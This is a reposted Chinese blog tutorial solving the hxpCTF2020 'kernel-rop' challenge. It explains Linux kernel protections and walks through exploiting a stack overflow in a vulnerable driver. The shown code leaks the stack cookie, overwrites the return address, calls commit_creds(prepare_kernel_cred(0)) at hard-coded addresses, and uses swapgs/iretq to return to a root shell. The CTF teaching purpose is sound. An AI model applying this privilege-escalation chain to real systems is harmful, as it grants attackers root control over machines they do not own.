Linux Kernel Pwn Part 1 - treebacker

admin 2021年12月31日15:55:56评论65 views字数 5217阅读17分23秒阅读模式
Protect Policy
  • Kernel stack cookies[canaries]

    同userland的栈保护机制canary类似,在内核编译时启用,并不能够禁用。

  • Kernel address space layout randomization[KASLR]

    内核地址随机化,类似于userland的ASLR,每次开机都会随机内核加载的基地址。

    可以通过在-append选项中添加kaslr或者nokasr启用或禁用。

  • Supervisor mode execution protection[SMEP]

    这一机制使得kernel-mode下的进程标记所有userland的地址为non-executable,即不可执行的,该机制由控制寄存器CR4的20th bit控制。

    可以通过在-cpu选项中指定+smep启用,在-append中指定nosmep禁用。

  • Supervisor mode access prevention[SMAP]

    类似于SMEP,该机制标记所有kernel-mode进程的userland地址为non-accessiable,即不可读也不可写。由CR4的21th bits控制。

    可以通过-cpu选项指定+smap启用,在-append指定nosmape禁用。

  • Kernel page table isolation[KPTI]

    当KPTI启用时,user-space和kernel-space的 page tables将完全分开,而不是只有一个包含user-space和kernel-space地址的page tables集合。

    其中,既包含user-space又有kernel-space的page tables只在系统运行在kernel-mode时使用。

    包含整个user-space和部分kernel-space的page tables在运行在user-mode时使用。

    可以通过在-append选项中指定kpti=1nopti启用或禁用。

kernel-rop

示例是 hxpCTF2020的kernel-rop,hackme.ko存在的漏洞

ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
  unsigned __int64 v4; // rdx
  ssize_t v5; // rbx
  int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
  unsigned __int64 v8; // [rsp+80h] [rbp-20h]

  _fentry__(f, data, size, off);
  v5 = v4;
  v8 = __readgsqword(0x28u);
  if ( v4 > 0x1000 )                            // size检查是否超过0x1000
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x1000LL);
    BUG();
  }
  _check_object_size(hackme_buf, v4, 0LL);      
  if ( copy_from_user(hackme_buf, data, v5) )
    return -14LL;
  _memcpy(tmp, hackme_buf, v5);                 // tmp缓冲区溢出
  return v5;
}

由于tmp空间只有0x80大小,而来自user的数据可以有0x1000大小,所以存在溢出。

leak cookie

tmp地址在rbp-0xa0,cookie在rbp-0x20

hackme_read函数可以用于泄漏

ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
  unsigned __int64 v4; // rdx
  unsigned __int64 v5; // rbx
  bool v6; // zf
  ssize_t result; // rax
  int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
  unsigned __int64 v9; // [rsp+80h] [rbp-20h]

  _fentry__(f, data, size, off);
  v5 = v4;
  v9 = __readgsqword(0x28u);
  _memcpy(hackme_buf, tmp, v4);                 // 越界读
  if ( v5 > 0x1000 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL);
    BUG();
  }
  _check_object_size(hackme_buf, v5, 1LL);
  v6 = copy_to_user(data, hackme_buf, v5) == 0;
  result = -14LL;
  if ( v6 )
    result = v5;
  return result;
}

可以读取tmp后的更多内容,包括cookie

void leak_cookie()
{
    unsigned long leak_info[0xa0/8];
    memset(leak_info, 0, sizeof(leak_info));
    size_t size = read(global_fd, leak_info, 0xa0);
    cookie = leak_info[0x80/8];

    printf("[*] Leak %zd bytes\n", size);
    printf("[*] Cookie: 0x%lx\n", cookie);
    return ;
}
overwrite return address

不同于userspace的程序,kernel函数退出时会进行三次pop操作,因此在cookie后需要三个paddding,之后才是控制执行的地址。

void exploit()
{
    unsigned long payload[0x100/8];
    unsigned long offset = 0x80/8;
    payload[offset++] = cookie;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = (unsigned long)escalate_privs;      // 引导想要执行的地址

    puts("[*] Prepared payload");
    size_t size = write(global_fd, payload, sizeof(payload));
    puts("[!] Should never be reached");
}
root privilige

在kernel exploitation中,目的不是像userland地获取一个shell,而是获取系统的root权限,也称为escalate_privs。最常见的方式就是使用两个函数commit_credsprepare_kernel_cred,这两个函数就在kernel-space代码中,我们的目的就是像下面这样执行

commit_creds(prepare_kernel_cred(0));

所以,一个简单的escalate_privs代码如下

void escalate_privs()
{
    __asm__(
        "movabs, rax, 0xdeadbeef;"      // prepare_kernel_cred
        "xor rdi, rdi;"
        "call rax;"
        "mov rdi, rax;"
        "movabs, rax, 0xdeadbeef;"      // commit_creds
        "call rax;"                     
        )
}

所有kernel下的符号地址,可以通过读/proc/kallsyms获取,但是需要root权限。

/ # cat /proc/kallsyms | grep commit_creds
ffffffff814c6410 T commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff814c67f0 T prepare_kernel_cred
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred
ByPass KASLR

但是由于KASLR的存在,commit_credsprepare_kernel_code函数地址每次开机都是随机的,因此需要动态获取。在Part1部分,通过noaslr暂时关闭了该机制。

Return to userland

在获取root权限后,需要返回一个userland的shell,由于上述的代码都是在kernel-mode下执行的,因此需要返回user-mode。

一般地,如果kernel正常运行,执行sysretq或者iretq将返回到userland。最常用的方式就是iret,因为sysretq更复杂。

iretq指令只需要在栈上按顺序提前设置5个用户态寄存器:RIP|CS|RFLAGS|SP|SS

进程分别为user-mode和kernel-mode保存两组上述寄存器,所以执行完kernel-mode后,必须为这些寄存器设置为user-mode的值。

对于RIP,我们可以简单地设置为弹出shell的函数地址;而对于其他寄存器,如果我们设置为一些随机值,进程或许会执行异常。为了解决这个问题,一个明智的办法就是:在进入kernel-mode之前保存这些寄存器的状态,获取root权限之后,再重新还原状态。

保存寄存器状态的函数:

void save_state()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
        );
    puts("[*] Saved state");
}

除此之外,在x86_64中,在执行iretq前需要执行swapgs指令,用于切换kernel-mode和user-mode的GS寄存器。完善后的escalate_privs函数

void escalate_privs()
{

    user_rip = (unsigned long)get_root_shell;
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff814c67f0;"       // prepare_kernel_cred
        "xor rdi, rdi;"
        "call rax;"
        "mov rdi, rax;"
        "movabs rax, 0xffffffff814c6410;"       // commit_creds
        "call rax;"                     
        "swapgs;"                       // swap kernel-mode user-mode gs
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"

        ".att_syntax;"
        );

    puts("[*] Escalate privilges done ");
}

当关闭所有的保护方式时,就可以运行上述代码,获取root权限的shell。

int main()
{
    save_state();
    open_dev();
    leak_cookie();
    exploit();

    puts("[!] Should never be reached!");
    return 0;
}
Debug Running Module

在调试exploit过程中,经常需要调试观察,通过qemu + gdb可以远程调试kernel,在qemu启动时,加上-s选项。

启动kernel后,需要获取想要调试的目标模块下需要下断的地址,比如这里的hackme_write

/ # cat /proc/kallsyms | grep hackme_write
ffffffffc00710d0 t hackme_write [hackme]
/ # cat /proc/kallsyms | grep hackme_read
ffffffffc0071000 t hackme_read  [hackme]

之后,gdb远程连接,下断点

gdb ./vmlinux
target remote localhost:1234

b* ffffffffc00710d0
c

和调试userland进程一致了。

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:55:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux Kernel Pwn Part 1 - treebackerhttps://cn-sec.com/archives/713104.html

发表评论

匿名网友 填写信息